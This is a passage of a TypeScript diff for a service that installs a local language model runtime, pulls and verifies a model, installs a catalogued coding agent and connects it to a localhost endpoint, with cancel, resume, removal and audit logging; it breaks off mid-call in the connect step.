+/** How long a digest read stays good for the view. A session launch always reads it again. */ +const DIGEST_RECHECK_MS = 30_000; +/** How long a read of the runtime's listings may take. */ +const RUNTIME_READ_TIMEOUT_MS = 5_000; +/** The window a download speed is measured over when the source reports none. */ +const SPEED_WINDOW_MS = 5_000; +/** How much of an installer's output is kept as the error detail. */ +const INSTALLER_DETAIL_CHARS = 1_000; + +/** How a step ended. */ +type StepOutcome = + | { kind: 'done' } + | { kind: 'cancelled' } + | { kind: 'fail'; code: LocalModelErrorCode; vars?: Record; detail?: string; nextModelId?: string }; + +const DONE: StepOutcome = { kind: 'done' }; +const CANCELLED: StepOutcome = { kind: 'cancelled' }; + +const baseUrlOf = (port: number): OllamaTarget => ({ baseUrl: `http://127.0.0.1:${port}` }); + +function conflict( + reason: LocalModelConflict['reason'], + extra: Partial = {}, + vars?: Record +): LocalModelVerbResult { + const text = { + 'job-running': LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning, + 'already-installed': LOCAL_MODEL_INSTALL_LABELS.conflictAlreadyInstalled, + 'size-changed': LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, + 'sessions-open': LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, + 'wrong-state': LOCAL_MODEL_INSTALL_LABELS.conflictWrongState, + }[reason]; + return { ok: false, status: 409, conflict: { reason, message: { text, ...(vars ? { vars } : {}) }, ...extra } }; +} + +/** A supervisor that is built when it is first started, so a server that never installs a model builds none. */ +function lazySupervisor(build: () => RuntimeSupervisor): RuntimeSupervisor { + let instance: RuntimeSupervisor | undefined; + return { + start: (options) => (instance ??= build()).start(options), + stop: async () => { + if (instance) await instance.stop(); + }, + status: () => (instance ? instance.status() : { running: false, restarts: 0, gaveUp: false }), + }; +} + +/** Forgets the cached lookups of a CLI's binaries the way the CLI registry routes do, then probes it again. */ +async function recheckCliInstalledNow(cli: string): Promise { + const entry = getCli(cli); + if (!entry) return false; + forgetResolvedCli(cli, entry.discovery.binaries); + const stockAvailability = await probeStockCliAvailability(); + return isCliEntryInstalled(entry, stockAvailability); +} + +class LocalModelServiceImpl implements LocalModelService { + private readonly deps: LocalModelServiceDeps; + /** The one job of this process, while it runs. */ + private job: { controller: AbortController; promise: Promise } | undefined; + /** Verbs run one at a time, so two installs cannot both find the state free. */ + private verbChain: Promise = Promise.resolve(); + private recovery: Promise | undefined; + private stopping = false; + /** The download in flight, as last reported. The state file gets it every few seconds. */ + private liveProgress: { completedBytes: number; totalBytes: number; bytesPerSecond?: number } | undefined; + private lastProgressFlush = 0; + private speedSamples: Array<{ at: number; bytes: number }> = []; + /** The last start found another program on the stored port. */ + private portInUse = false; + private digestStatus: 'same' | 'changed' | 'unknown' | undefined; + private digestCheckedAt = 0; + + constructor(deps: Partial) { + const pin = deps.pin ?? OLLAMA_RUNTIME_PIN; + this.deps = { + readHardware: () => readHardware(), + getCatalog: getLocalModelCatalog, + buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), + recommend, + modelFitsBudget, + isRuntimeInstalled, + ensureRuntimeInstalled, + chooseRuntimePort, + removeLocalModelFiles, + supervisor: lazySupervisor(() => + createRuntimeSupervisor({ pin, paths: this.paths(), onChange: (status) => this.onRuntimeChange(status) }) + ), + pullModel, + verifyModel, + readModelDigest, + listOpenAiModels, + listRunning, + getRuntimeVersion, + deleteModel, + checkDeveloperTools: () => checkDeveloperTools(), + stockInstallCommand, + tryBeginCliInstall, + runInstallCommand, + recheckCliInstalled: recheckCliInstalledNow, + audit: (entry) => appendAdminAudit({ ...entry, detail: entry.detail as Record | undefined }), + connectLocalModel, + moveLocalEndpoint, + ensureLocalEndpoint, + disconnectLocalModel, + isEndpointIdTaken: async () => + (await readCustomModelHosts(getDataDir())).some((host) => host.id === LOCAL_MODEL_ENDPOINT_ID), + readState: readLocalModelState, + mutateState: mutateLocalModelState, + now: () => Date.now(), + ...deps, + pin, + }; + } + + // ---------- Small helpers ---------- + + private paths(): LocalModelPaths { + return this.deps.paths ?? localModelPaths(this.deps.pin.version); + } + + /** Runs `fn` after every verb that was asked before it. */ + private exclusive(fn: () => Promise): Promise { + const run = this.verbChain.then(fn); + this.verbChain = run.catch(() => {}); + return run; + } + + /** Applies one event to the stored state. False when the reducer refused it. */ + private async dispatch(event: InstallJobEvent): Promise { + const { after } = await this.deps.mutateState((current) => { + const next = reduceInstallJob(current, event); + return next === current ? undefined : next; + }); + return after !== undefined; + } + + /** Writes facts a step learned. Never moves the state, and writes nothing once the job's state is gone. */ + private async record(change: (current: LocalModelStateFile) => LocalModelStateFile | undefined): Promise { + await this.deps.mutateState((current) => (current.state === 'idle' ? undefined : change(current))); + } + + /** + * A job the state file still calls `installing` when this process has none is one a restart + * interrupted: it becomes `paused`. Done once, before the first view or verb, whether or not + * `boot()` ran yet. + */ + private recovered(): Promise { + this.recovery ??= this.dispatch({ type: 'restart' }).then( + () => undefined, + (err: unknown) => { + console.warn(`[local-model] Could not read the state at start: ${getErrorMessage(err)}`); + } + ); + return this.recovery; + } + + private async isRuntimeOnDisk(): Promise { + try { + return await this.deps.isRuntimeInstalled(this.deps.pin, this.paths()); + } catch { + return false; + } + } + + private errorVars(code: LocalModelErrorCode, state: LocalModelStateFile): Record | undefined { + const model = state.model?.label ?? ''; + switch (code) { + case 'port-in-use': + return { port: String(state.runtime?.port ?? RUNTIME_PORT_FIRST) }; + case 'model-not-found': + case 'does-not-fit': + case 'load-failed': + case 'no-tool-call': + case 'probe-unfinished': + return { model }; + case 'harness-failed': + return { cli: state.cli?.label ?? '' }; + case 'endpoint-id-taken': + return { id: LOCAL_MODEL_ENDPOINT_ID }; + default: + return undefined; + } + } + + /** The best model the current recommendation offers that is not `failedId`. */ + private async nextModelId(failedId: string, options?: RecommendOptions): Promise { + try { + const hw = await this.deps.readHardware(); + const catalog = this.deps.getCatalog(); + const facts = await this.deps.buildHarnessFacts(catalog); + const rec = this.deps.recommend(hw, catalog, facts, options ?? (await this.recommendOptions())); + const rows = [rec.pick, ...rec.alternatives].filter((row): row is Candidate => row !== undefined); + return rows.find((row) => row.modelId !== failedId)?.modelId; + } catch { + return undefined; + } + } + + // ---------- Progress ---------- + + private onProgress(progress: { completedBytes: number; totalBytes: number; bytesPerSecond?: number }): void { + const now = this.deps.now(); + let bytesPerSecond = progress.bytesPerSecond; + if (bytesPerSecond === undefined) { + // The archive download reports bytes only: the speed is what arrived over the last seconds. + this.speedSamples.push({ at: now, bytes: progress.completedBytes }); + while (this.speedSamples.length > 2 && now - this.speedSamples[1].at >= SPEED_WINDOW_MS) + this.speedSamples.shift(); + const first = this.speedSamples[0]; + const elapsed = now - first.at; + if (elapsed >= 1_000 && progress.completedBytes >= first.bytes) { + bytesPerSecond = ((progress.completedBytes - first.bytes) * 1_000) / elapsed; + } + } + this.liveProgress = { + completedBytes: progress.completedBytes, + totalBytes: progress.totalBytes, + ...(bytesPerSecond !== undefined ? { bytesPerSecond } : {}), + }; + if (now - this.lastProgressFlush >= PROGRESS_FLUSH_MS) { + this.lastProgressFlush = now; + void this.flushProgress().catch(() => {}); + } + } + + private async flushProgress(): Promise { + const progress = this.liveProgress; + if (!progress) return; + await this.dispatch({ + type: 'progress', + completedBytes: progress.completedBytes, + totalBytes: progress.totalBytes, + }); + } + + private clearProgress(): void { + this.liveProgress = undefined; + this.speedSamples = []; + this.lastProgressFlush = 0; + } + + // ---------- The runtime ---------- + + /** Starts the runtime on the stored port (a no-op when it runs with this context) and stores what the start learned. */ + private async startRuntime(state: LocalModelStateFile): Promise { + if (!state.runtime || !state.model) { + return { ok: false, code: 'runtime-start-failed', detail: 'No port was chosen for the runtime yet.' }; + } + const { port } = state.runtime; + let result: RuntimeStartResult; + try { + result = await this.deps.supervisor.start({ + port, + contextLength: state.model.context, + ...(state.runtime.pid !== undefined ? { previousPid: state.runtime.pid } : {}), + }); + } catch (err) { + result = { ok: false, code: 'runtime-start-failed', detail: getErrorMessage(err) }; + } + this.portInUse = !result.ok && result.code === 'port-in-use'; + if (result.ok) { + const { pid, measuredTotalBytes } = result; + await this.record((current) => + current.runtime + ? { + ...current, + runtime: { + ...current.runtime, + version: this.deps.pin.version, + pid, + ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}), + }, + } + : undefined + ); + } + return result; + } + + private startFailure(result: Extract, state: LocalModelStateFile): StepOutcome { + return { + kind: 'fail', + code: result.code, + vars: this.errorVars(result.code, state), + ...(result.detail ? { detail: result.detail } : {}), + }; + } + + /** Reads the model's digest from the running runtime and compares it with the stored one. */ + private async refreshDigest(state: LocalModelStateFile): Promise<'same' | 'changed' | 'unknown'> { + let current: string | undefined; + if (state.runtime && state.model && this.deps.supervisor.status().running) { + try { + current = await this.deps.readModelDigest( + baseUrlOf(state.runtime.port), + state.model.id, + AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS) + ); + } catch { + current = undefined; + } + } + this.digestStatus = compareModelDigest(state.model?.digest, current); + this.digestCheckedAt = this.deps.now(); + return this.digestStatus; + } + + onRuntimeChange(status: RuntimeStatus): void { + if (!status.running || status.pid === undefined) return; + const { pid, measuredTotalBytes } = status; + void this.record((current) => { + if (!current.runtime) return undefined; + const samePid = current.runtime.pid === pid; + const sameTotal = measuredTotalBytes === undefined || current.runtime.measuredTotalBytes === measuredTotalBytes; + if (samePid && sameTotal) return undefined; + return { + ...current, + runtime: { ...current.runtime, pid, ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}) }, + }; + }).catch(() => {}); + } + + // ---------- The view ---------- + + private async liveFacts(state: LocalModelStateFile): Promise { + const status = this.deps.supervisor.status(); + let developerTools: LocalModelDeveloperTools = 'unknown'; + try { + developerTools = await this.deps.checkDeveloperTools(); + } catch { + /* said as unknown: the sentence is not shown */ + } + let nextModel: InstallLiveFacts['nextModel']; + const nextModelId = state.error?.nextModelId; + if (nextModelId) { + try { + const entry = this.deps.getCatalog().models.find((model) => model.id === nextModelId); + if (entry) nextModel = { modelId: entry.id, modelLabel: entry.label }; + } catch { + /* no model is offered then */ + } + } + return { + running: status.running, + gaveUp: status.gaveUp, + portInUse: this.portInUse, + ...(state.state === 'installed' && this.digestStatus ? { digest: this.digestStatus } : {}), + developerTools, + runtimeInstalled: await this.isRuntimeOnDisk(), + ...(this.liveProgress?.bytesPerSecond !== undefined ? { bytesPerSecond: this.liveProgress.bytesPerSecond } : {}), + ...(nextModel ? { nextModel } : {}), + pin: this.deps.pin, + folder: this.paths().root, + }; + } + + async view(): Promise { + try { + await this.recovered(); + let state = await this.deps.readState(); + if (state.state === 'installing' && this.liveProgress) { + state = { + ...state, + progress: { + completedBytes: this.liveProgress.completedBytes, + totalBytes: this.liveProgress.totalBytes, + }, + }; + } + if ( + state.state === 'installed' && + this.deps.supervisor.status().running && + this.deps.now() - this.digestCheckedAt >= DIGEST_RECHECK_MS + ) { + // In the background: the window polls every second and must not wait for the runtime. + this.digestCheckedAt = this.deps.now(); + void this.refreshDigest(state).catch(() => {}); + } + return buildInstallView(state, await this.liveFacts(state)); + } catch (err) { + console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`); + return buildInstallView(IDLE_LOCAL_MODEL_STATE, { + running: false, + gaveUp: false, + portInUse: false, + developerTools: 'unknown', + runtimeInstalled: false, + pin: this.deps.pin, + folder: '', + }); + } + } + + async recommendOptions(): Promise { + let measuredTotalBytes: number | undefined; + try { + await this.recovered(); + measuredTotalBytes = (await this.deps.readState()).runtime?.measuredTotalBytes; + } catch { + measuredTotalBytes = undefined; + } + return { + ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}), + runtimeDownloadBytes: (await this.isRuntimeOnDisk()) ? 0 : this.deps.pin.bytes, + }; + } + + async launchRefusal(endpointId: string): Promise { + if (!isLocalModelEndpointId(endpointId)) return undefined; + try { + await this.recovered(); + const state = await this.deps.readState(); + // A record with the reserved id that this feature did not write is not ours to judge. + if (state.connection?.endpointId !== endpointId) return undefined; + const status = this.deps.supervisor.status(); + if (state.state !== 'installed' || !state.runtime || !state.model || !status.running) { + if (this.portInUse) return buildInstallError('port-in-use', { vars: this.errorVars('port-in-use', state) }); + if (status.gaveUp) return buildInstallError('runtime-stopped'); + return buildInstallError('runtime-not-running'); + } + const digest = await this.refreshDigest(state); + if (digest === 'same') return undefined; + if (digest === 'unknown') { + // No digest to compare: either the runtime stopped answering, or the model is gone. + let version: string | undefined; + try { + version = await this.deps.getRuntimeVersion( + baseUrlOf(state.runtime.port), + AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS) + ); + } catch { + version = undefined; + } + if (version === undefined) return buildInstallError('runtime-not-running'); + this.digestStatus = 'changed'; + } + return buildInstallError('model-changed'); + } catch (err) { + console.warn(`[local-model] The launch check failed: ${getErrorMessage(err)}`); + return buildInstallError('runtime-not-running'); + } + } + + async launchRefusalMessage(endpointId: string, modelId: string): Promise { + const refusal = await this.launchRefusal(endpointId); + if (refusal) return formatInstallMessage(refusal.message); + if (!isLocalModelEndpointId(endpointId)) return undefined; + try { + const state = await this.deps.readState(); + if (state.connection?.endpointId === endpointId && state.model && state.model.id !== modelId) { + return `Only ${state.model.label} is installed on this Mac. Remove it and install another model first.`; + } + } catch { + /* an unreadable state is "nothing of ours": nothing to refuse */ + } + return undefined; + } + + // ---------- Verbs ---------- + + private async answer(): Promise { + return { ok: true, view: await this.view() }; + } + + install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.state === 'installed') return conflict('already-installed'); + + // Everything below is checked against what the server itself offers right now, before + // anything is downloaded. + const hw = await this.deps.readHardware(); + const catalog = this.deps.getCatalog(); + const facts = await this.deps.buildHarnessFacts(catalog); + const options = await this.recommendOptions(); + const rec = this.deps.recommend(hw, catalog, facts, options); + const rows = [rec.pick, ...rec.alternatives].filter((row): row is Candidate => row !== undefined); + const candidate = rows.find((row) => row.modelId === request.modelId); + if (!candidate || candidate.context !== request.context) { + return { ok: false, status: 400, message: 'This model at this context is not offered for this Mac right now.' }; + } + // A row without the list (an older shape) still names its one coding agent in the flat fields. + const harnesses: CandidateHarness[] = candidate.harnesses ?? [ + { cli: candidate.cli, cliLabel: candidate.cliLabel, installed: candidate.cliInstalled }, + ]; + const harness = harnesses.find((row) => row.cli === request.cli); + if (!harness || !catalog.harnesses.some((row) => row.cli === request.cli)) { + return { ok: false, status: 400, message: 'This coding agent is not offered for this model.' }; + } + if (!harness.installed && !this.deps.stockInstallCommand(harness.cli)) { + return { + ok: false, + status: 400, + message: `${harness.cliLabel} is not installed and cannot be installed from here.`, + }; + } + const expectedBytes = candidate.installBytes ?? candidate.downloadBytes + (options.runtimeDownloadBytes ?? 0); + if (request.acknowledgedBytes !== expectedBytes) { + const expectedGb = formatGb(expectedBytes); + return conflict('size-changed', { expectedBytes, expectedGb }, { size: expectedGb }); + } + // Said now, not after the download: a saved endpoint that already has our id and is not ours. + if (!state.connection && (await this.deps.isEndpointIdTaken())) { + return { + ok: false, + status: 400, + message: formatInstallMessage( + buildInstallError('endpoint-id-taken', { vars: { id: LOCAL_MODEL_ENDPOINT_ID } }).message + ), + }; + } + + const started = await this.dispatch({ + type: 'install', + model: { id: candidate.modelId, label: candidate.modelLabel, context: candidate.context }, + cli: { id: harness.cli, label: harness.cliLabel }, + steps: jobSteps({ agentInstalled: harness.installed }), + }); + if (!started) return conflict('wrong-state'); + void this.deps + .audit({ + admin: actor.username, + action: 'local_model_install', + target: candidate.modelId, + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { cli: harness.cli, context: candidate.context, bytes: expectedBytes }, + }) + .catch(() => {}); + this.startJob(actor); + return this.answer(); + }); + } + + cancel(): Promise { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state !== 'installing') return conflict('wrong-state'); + const job = this.job; + if (job) { + job.controller.abort(); + await job.promise.catch(() => {}); + } + // The step may have finished the job while it was being interrupted (the connect step + // completes its two writes). Then there is nothing left to pause, and the view says so. + await this.flushProgress().catch(() => {}); + await this.dispatch({ type: 'cancel' }); + this.clearProgress(); + return this.answer(); + }); + } + + resume(request: LocalModelResumeRequest, actor: LocalModelActor): Promise { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.state !== 'paused' && state.state !== 'failed') return conflict('wrong-state'); + if (request.newPort === true && state.runtime) await this.changePort(state); + const resumed = await this.dispatch({ type: 'resume' }); + if (!resumed) return conflict('wrong-state'); + this.startJob(actor); + return this.answer(); + }); + } + + /** Chooses another port than the stored one and moves the saved endpoint with it. False when no other port is free. */ + private async changePort(state: LocalModelStateFile): Promise { + if (!state.runtime) return false; + const port = await this.deps.chooseRuntimePort({ avoid: [state.runtime.port] }); + if (port === undefined) return false; + // The saved endpoint first: when that write is refused, nothing has changed yet. + if (state.connection) await this.deps.moveLocalEndpoint(port); + await this.record((current) => { + if (!current.runtime) return undefined; + // The stored pid belonged to the old port: it must not make a listener on the new one "ours". + const { pid: _pid, ...runtime } = current.runtime; + return { ...current, runtime: { ...runtime, port } }; + }); + this.portInUse = false; + return true; + } + + runtime(request: LocalModelRuntimeRequest): Promise { + return this.exclusive(async () => { + await this.recovered(); + let state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.state !== 'installed' || !state.runtime) return conflict('wrong-state'); + + if (request.action === 'stop') { + await this.deps.supervisor.stop(); + this.portInUse = false; + await this.record((current) => + current.runtime ? { ...current, runtime: { ...current.runtime, enabled: false } } : undefined + ); + return this.answer(); + } + + if (request.newPort === true) { + // The old child, when one is still alive, holds the old port: it must go first. + await this.deps.supervisor.stop(); + await this.changePort(state); + } + await this.record((current) => + current.runtime ? { ...current, runtime: { ...current.runtime, enabled: true } } : undefined + ); + state = await this.deps.readState(); + const started = await this.startRuntime(state); + if (started.ok) await this.refreshDigest(await this.deps.readState()); + return this.answer(); + }); + } + + remove( + request: LocalModelRemoveRequest, + liveSessionNames: readonly string[], + actor?: LocalModelActor + ): Promise { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.connection && liveSessionNames.length > 0) { + const sessions = [...liveSessionNames]; + return conflict('sessions-open', { sessions }, { sessions: sessions.join(', ') }); + } + + await this.deps.supervisor.stop(); + // The two writes outside our folder are undone first: when one is refused, nothing was + // deleted yet and the person can try again. + if (state.connection) { + await this.deps.disconnectLocalModel({ flagWasEnabled: state.connection.flagWasEnabled }); + } + const removeModel = request.removeModel === true; + await this.deps.removeLocalModelFiles({ models: removeModel, paths: this.paths() }); + await this.dispatch({ type: 'remove' }); + this.clearProgress(); + this.portInUse = false; + this.digestStatus = undefined; + if (actor) { + void this.deps + .audit({ + admin: actor.username, + action: 'local_model_remove', + target: state.model?.id ?? '', + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { removeModel }, + }) + .catch(() => {}); + } + return this.answer(); + }); + } + + async boot(): Promise { + try { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state !== 'installed' || !state.runtime || !state.model) return; + // The record of the connection can be gone while the model is still installed (a + // config-backup restore of an older endpoint store): it is put back, never replaced. + if (state.connection) { + const restored = await this.deps.ensureLocalEndpoint({ + port: state.runtime.port, + modelId: state.model.id, + context: state.model.context, + }); + if (restored) + console.warn('[local-model] The saved endpoint of the model on this Mac was missing and was put back.'); + } + if (!state.runtime.enabled) return; + const started = await this.startRuntime(state); + if (!started.ok) { + console.warn( + `[local-model] The runtime did not start: ${started.code}${started.detail ? ` (${started.detail})` : ''}` + ); + return; + } + const digest = await this.refreshDigest(await this.deps.readState()); + if (digest === 'changed') { + console.warn('[local-model] The model changed since it was installed. Sessions on it are refused.'); + } + } catch (err) { + console.warn(`[local-model] Start-up check failed: ${getErrorMessage(err)}`); + } + } + + async shutdown(): Promise { + this.stopping = true; + const job = this.job; + // The state file keeps saying `installing`: the next start reads that as a paused job. + job?.controller.abort(); + // The runtime is signalled at once, not after the job let go: the server may exit soon. + const stopped = Promise.resolve() + .then(() => this.deps.supervisor.stop()) + .catch((err: unknown) => { + console.warn(`[local-model] Stopping the runtime failed: ${getErrorMessage(err)}`); + }); + if (job) { + await Promise.race([job.promise.catch(() => {}), new Promise((resolve) => setTimeout(resolve, 3_000).unref())]); + } + await stopped; + } + + async idle(): Promise { + while (this.job) await this.job.promise.catch(() => {}); + } + + // ---------- The job ---------- + + private startJob(actor: LocalModelActor): void { + const controller = new AbortController(); + this.clearProgress(); + const job = { + controller, + promise: this.runJob(actor, controller.signal).finally(() => { + if (this.job === job) this.job = undefined; + }), + }; + this.job = job; + } + + /** Runs the steps from the stored one on, until the job is installed, failed or interrupted. Never rejects. */ + private async runJob(actor: LocalModelActor, signal: AbortSignal): Promise { + try { + for (;;) { + const state = await this.deps.readState(); + if (state.state !== 'installing' || !state.step || signal.aborted) return; + let outcome: StepOutcome; + try { + outcome = await this.runStep(state.step, state, actor, signal); + } catch (err) { + outcome = { kind: 'fail', code: 'internal', detail: getErrorMessage(err) }; + } + if (outcome.kind === 'done') { + // A step that finished stays finished, also when Cancel arrived while it ran. Its + // download figures go first, so the next step is never shown with them. + this.clearProgress(); + await this.dispatch({ type: 'step-done' }); + continue; + } + // An interrupted step is not a failed one, whatever its last call answered. Cancel + // writes `paused` itself; a server that is stopping writes nothing. + if (outcome.kind === 'cancelled' || signal.aborted || this.stopping) return; + await this.flushProgress().catch(() => {}); + await this.dispatch({ + type: 'fail', + code: outcome.code, + ...(outcome.vars ? { vars: outcome.vars } : {}), + ...(outcome.detail ? { detail: outcome.detail } : {}), + ...(outcome.nextModelId ? { nextModelId: outcome.nextModelId } : {}), + }); + return; + } + } catch (err) { + console.warn(`[local-model] The install job stopped: ${getErrorMessage(err)}`); + await this.dispatch({ type: 'fail', code: 'internal', detail: getErrorMessage(err) }).catch(() => {}); + } + } + + private runStep( + step: LocalModelInstallStep, + state: LocalModelStateFile, + actor: LocalModelActor, + signal: AbortSignal + ): Promise { + switch (step) { + case 'runtime': + return this.stepRuntime(state, signal); + case 'model': + return this.stepModel(state, signal); + case 'verify': + return this.stepVerify(state, signal); + case 'agent': + return this.stepAgent(state, actor, signal); + case 'connect': + return this.stepConnect(state, signal); + } + } + + /** Makes sure the runtime runs before a step that needs it. `undefined`: it runs. */ + private async needRuntime(signal: AbortSignal): Promise { + const state = await this.deps.readState(); + const started = await this.startRuntime(state); + if (signal.aborted) return CANCELLED; + return started.ok ? undefined : this.startFailure(started, state); + } + + private async stepRuntime(state: LocalModelStateFile, signal: AbortSignal): Promise { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const installed = await this.deps.ensureRuntimeInstalled({ + pin: this.deps.pin, + paths: this.paths(), + signal, + onProgress: (progress) => this.onProgress(progress), + }); + if (!installed.ok) { + if (installed.code === 'cancelled') return CANCELLED; + return { kind: 'fail', code: installed.code, ...(installed.detail ? { detail: installed.detail } : {}) }; + } + if (signal.aborted) return CANCELLED; + + // The port is chosen ONCE. A job that already has one keeps it. + if (!state.runtime) { + const port = await this.deps.chooseRuntimePort(); + if (port === undefined) return { kind: 'fail', code: 'port-in-use', vars: this.errorVars('port-in-use', state) }; + await this.record((current) => + current.runtime ? undefined : { ...current, runtime: { version: this.deps.pin.version, port, enabled: true } } + ); + } + const withPort = await this.deps.readState(); + const started = await this.startRuntime(withPort); + if (signal.aborted) return CANCELLED; + if (!started.ok) return this.startFailure(started, withPort); + + // The budget is MEASURED now: the runtime printed the device total when it started. The + // model is judged against it before a byte of it is downloaded. + const measuredTotalBytes = started.measuredTotalBytes ?? withPort.runtime?.measuredTotalBytes; + if (measuredTotalBytes !== undefined) { + const hw = await this.deps.readHardware(); + const catalog = this.deps.getCatalog(); + const options: RecommendOptions = { measuredTotalBytes, runtimeDownloadBytes: 0 }; + if (!this.deps.modelFitsBudget(hw, catalog, state.model.id, state.model.context, options)) { + const nextModelId = await this.nextModelId(state.model.id, options); + return { + kind: 'fail', + code: 'does-not-fit', + vars: this.errorVars('does-not-fit', state), + ...(nextModelId ? { nextModelId } : {}), + }; + } + } + return DONE; + } + + private async stepModel(state: LocalModelStateFile, signal: AbortSignal): Promise { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const blocked = await this.needRuntime(signal); + if (blocked) return blocked; + const running = await this.deps.readState(); + if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; + const target = baseUrlOf(running.runtime.port); + + // What a replaced job left of another model goes first, so two models never share the store. + if (running.replacedModelId) { + try { + await this.deps.deleteModel(target, running.replacedModelId, signal); + } catch { + /* a leftover is not a reason to stop: Remove with the models deletes it */ + } + if (signal.aborted) return CANCELLED; + await this.record((current) => { + const { replacedModelId: _replaced, ...rest } = current; + return rest; + }); + } + + const pulled = await this.deps.pullModel(target, state.model.id, { + signal, + onProgress: (progress) => this.onProgress(progress), + }); + if (!pulled.ok) { + if (pulled.code === 'cancelled') return CANCELLED; + const nextModelId = pulled.code === 'model-not-found' ? await this.nextModelId(state.model.id) : undefined; + return { + kind: 'fail', + code: pulled.code, + vars: this.errorVars(pulled.code, state), + ...(pulled.detail ? { detail: pulled.detail } : {}), + ...(nextModelId ? { nextModelId } : {}), + }; + } + // From here on every size shown for the model is the pull's own total. + const pullBytes = pulled.totalBytes; + await this.record((current) => + current.model ? { ...current, model: { ...current.model, pullBytes } } : undefined + ); + return DONE; + } + + private async stepVerify(state: LocalModelStateFile, signal: AbortSignal): Promise { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const blocked = await this.needRuntime(signal); + if (blocked) return blocked; + const running = await this.deps.readState(); + if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; + const target = baseUrlOf(running.runtime.port); + const { id, context } = state.model; + + const verified = await this.deps.verifyModel(target, id, context, signal); + if (!verified.ok) { + if (verified.code === 'cancelled') return CANCELLED; + let vars = this.errorVars(verified.code, state); + if (verified.code === 'context-not-applied') { + let actual = '?'; + try { + const loaded = (await this.deps.listRunning(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS))).find( + (model) => model.name === id + ); + if (loaded) actual = String(loaded.contextLength); + } catch { + /* the sentence then says "?" */ + } + vars = { model: state.model.label, actual, wanted: String(context) }; + } + const offersNext = verified.code === 'does-not-fit' || verified.code === 'no-tool-call'; + const nextModelId = offersNext ? await this.nextModelId(id) : undefined; + return { + kind: 'fail', + code: verified.code, + ...(vars ? { vars } : {}), + ...(verified.detail ? { detail: verified.detail } : {}), + ...(nextModelId ? { nextModelId } : {}), + }; + } + + // The digest of what was just checked: what a session launch compares with from now on. + const digest = await this.deps.readModelDigest(target, id, signal); + if (signal.aborted) return CANCELLED; + if (!digest) { + return { + kind: 'fail', + code: 'load-failed', + vars: this.errorVars('load-failed', state), + detail: 'The runtime reports no digest for the model.', + }; + } + const loaded = verified.loaded; + await this.record((current) => + current.model ? { ...current, model: { ...current.model, digest }, loaded: { ...loaded } } : undefined + ); + this.digestStatus = 'same'; + this.digestCheckedAt = this.deps.now(); + return DONE; + } + + private async stepAgent( + state: LocalModelStateFile, + actor: LocalModelActor, + signal: AbortSignal + ): Promise { + if (!state.cli) return { kind: 'fail', code: 'internal', detail: 'The job has no coding agent.' }; + const cli = state.cli.id; + const vars = this.errorVars('harness-failed', state); + // A resumed job, or an installer that finished before a restart: the binary may be there. + if (await this.deps.recheckCliInstalled(cli)) return DONE; + if (signal.aborted) return CANCELLED; + + // Only a coding agent of the catalogue, and only its STOCK install command. + if (!this.deps.getCatalog().harnesses.some((row) => row.cli === cli)) { + return { kind: 'fail', code: 'harness-failed', vars, detail: 'Not a coding agent of the local model catalogue.' }; + } + const command = this.deps.stockInstallCommand(cli); + if (!command) { + return { kind: 'fail', code: 'harness-failed', vars, detail: 'No install command for this platform.' }; + } + const release = this.deps.tryBeginCliInstall(cli); + if (!release) { + return { kind: 'fail', code: 'harness-failed', vars, detail: 'Another install of this coding agent is running.' }; + } + let result: CliInstallResult; + try { + result = await this.deps.runInstallCommand(command, { signal }); + } finally { + release(); + } + void this.deps + .audit({ + admin: actor.username, + action: 'cli_install', + target: cli, + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { + command, + exitCode: result.code, + timedOut: result.timedOut, + aborted: result.aborted, + via: 'local-model', + }, + }) + .catch(() => {}); + // Even a failed or interrupted install may have left a binary behind: the cached lookups + // are forgotten either way, and what counts is whether the binary is found now. + const installed = await this.deps.recheckCliInstalled(cli); + if (result.aborted || signal.aborted) return CANCELLED; + if (installed) return DONE; + const detail = result.timedOut + ? `The installer was stopped after ${Math.round(CLI_INSTALL_TIMEOUT_MS / 1000)} seconds.` + : result.output.slice(-INSTALLER_DETAIL_CHARS).trim() || + (result.code === 0 ? 'The installer finished, but the program was not found afterwards.' : 'No output.'); + return { kind: 'fail', code: 'harness-failed', vars, detail }; + } + + private async stepConnect(state: LocalModelStateFile, signal: AbortSignal): Promise { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const blocked = await this.needRuntime(signal); + if (blocked) return blocked; + const running = await this.deps.readState(); + if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; + const { port } = running.runtime; + const { id, context } = state.model; + + // The record names the model exactly as the runtime lists it for a coding agent. + const listed = await this.deps.listOpenAiModels(baseUrlOf(port), signal); + if (signal.aborted) return CANCELLED; + if (!listed.includes(id)) { + return { kind: 'fail', code: 'connect-failed', detail: `The runtime does not list ${id}.` }; + } + + // From here on the two writes run to their end: Cancel no longer interrupts. + const connected = await this.deps.connectLocalModel({ + port, + modelId: id, + context, + 